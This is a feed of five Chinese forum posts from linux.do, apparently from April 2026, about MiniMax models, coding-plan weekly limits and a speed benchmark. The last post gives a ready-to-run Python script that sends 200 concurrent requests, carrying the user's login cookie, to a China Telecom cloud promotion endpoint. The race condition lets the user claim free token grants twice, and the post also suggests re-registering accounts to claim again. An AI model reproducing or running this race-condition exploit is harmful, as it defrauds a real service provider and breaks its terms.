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linux.do · 2026-04-18 17:32:58+08:00 · tech

​如题,之前的最大优点就是语言模型、视频模型、图像模型、声音模型并行,好像是国内唯一几家能够All in one的模型公司。 结果现在编码模型还是M2.7、性能严重落后,原来量大管饱、便宜的优点现在不值一提,直接就是拉完了,而且没有看到公司在编码模型上面还有什么宏大的计划。 视频模型本来也不错,结果字节的模型一出来,openai的sora 都关了。Minimax后续打算咋弄,是学openai,把 视频模型也关了,All in全部算力堆在编码模型上,还是有其他方向? 总之感觉现在Minimax的股价很危险呀,现有的模型实力好像没有体现出什么先进性,原本起步早的优点,小米的新模型都把它冲破了,国内其他传统的额互联网大公司也在冲刺,护城河可以说没有了 附:grok统计的各家模型参数量大小 17 个帖子 - 13 位参与者 阅读完整话题

linux.do · 2026-04-18 13:32:52+08:00 · tech

我这边之前订阅了minimax的29的套餐,想升级49那个套餐,发现升级后就会限制周用量,我想问一下两件事情,第一是像我这种之前订阅的升级后会不会限制周订阅, 第二是我这边最近打算试一下多模型协同工作,目前是打算接入deepseek作为中枢协同,再买一个kimi或者GLM的codingplan互相监督任务完成情况。所以想问一下kimi和minimax的区别,如果kimi比minimax强一些的话我就订阅kimi了,如果不强的话我就去闲鱼看看能不能搞一个glm的订阅 4 个帖子 - 4 位参与者 阅读完整话题

linux.do · 2026-04-17 22:42:51+08:00 · tech

我是在 Minimax 的编程套餐之前没有周限额的时候就买了 Plus 版,但最近想扩大额度就又买了 Max 版本,不过买完以后才发现新版 Max 版本是有周限额的,但我在套餐的使用额度里面又只看到了 5 小时限额的进度条,没有看到周限额的进度条。 所以想问一下大家,我这个情况到底有没有周限额,是不是如果真的有周限额的话是能在额度哪里看到周限额的进度条。 2 个帖子 - 2 位参与者 阅读完整话题

linux.do · 2026-04-17 22:42:47+08:00 · tech

写了个benchmark想看看实际的速率区别。 测试-1 (点击了解更多详细信息) bench代码 (点击了解更多详细信息) config.json (点击了解更多详细信息) 2.7-highspeed在代码生成类别速度比文字快一点,而且如果涉及到中文tps就会变低。在设定maxtoken比较小的情况下速度也会打折扣。这个速度比率和价格感觉不如买非极速版了。这个约100TPS就很灵性,主打四舍五入。bench代码的计算不知道对不对,有懂得佬看看。 3 个帖子 - 2 位参与者 阅读完整话题

linux.do · 2026-04-17 17:47:06+08:00 · tech

正常领取是2500万token,一个月到期。 并发领取能领取两次就是5000万。其中2500万会在一个月后过期,另外2500万token则是到2026年12月31日到期。 (我注册了8亿token,到时候发出来给大家用) 登录 https://eaichat.ctyun.cn/chat/ 获取cookie 填入脚本执行领取。 打开 https://pc.ctyun.cn/#/desktop-list 登录刚刚领取的云电脑,桌面有个云智助手(预装的是旧版的,在设置中更新下),获取API Key。 里面有个coding plan是刚上新的,跟天翼云的息壤套餐不一样。 价格40一个月。 电信的可以直接领取,联通和移动需要下载天翼云电脑APP登录身份证实名。 可以尝试注销了重新注册看看能不能重复领取。 import asyncio from typing import Dict, List import aiohttp import sys if sys.platform == 'win32': asyncio.set_event_loop_policy(asyncio.WindowsSelectorEventLoopPolicy()) def build_request_headers() -> Dict[str, str]: headers = { "Host": "eaichat.ctyun.cn", "Accept": "application/json, text/plain, */*", "Content-Type": "application/json", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36", "Cookie": "" } return headers def build_request_payload() -> Dict[str, int]: payload = { "mirrorType": 1 } return payload async def send_single_request( session: aiohttp.ClientSession, url: str, headers: Dict[str, str], payload: Dict[str, int], task_id: int ) -> None: try: # 本地 HTTPS 环境通常无有效证书,配置 ssl=False 避免证书验证报错 async with session.post(url, headers=headers, json=payload, ssl=False) as response: status_code = response.status #print(f"[Task {task_id:03d}] 请求完成,状态码: {status_code}") except Exception as error: #print(f"[Task {task_id:03d}] 请求发生异常: {error}") pass async def execute_load_test( target_url: str, concurrency_level: int ) -> None: headers = build_request_headers() payload = build_request_payload() connector = aiohttp.TCPConnector(limit=concurrency_level, ssl=False) async with aiohttp.ClientSession(connector=connector) as session: tasks: List[asyncio.Task] = [] for index in range(concurrency_level): task = asyncio.create_task( send_single_request(session, target_url, headers, payload, index + 1) ) tasks.append(task) await asyncio.gather(*tasks) def main() -> None: target_url = "https://eaichat.ctyun.cn/api/v1/openclaw-hub/desktop-claims" concurrency_level = 200 print(f"开始向 {target_url} 并发发送 {concurrency_level} 个请求...") # 启动异步事件循环 asyncio.run(execute_load_test(target_url, concurrency_level)) print("\n所有并发请求测试执行完毕。") if __name__ == "__main__": main() 60 个帖子 - 26 位参与者 阅读完整话题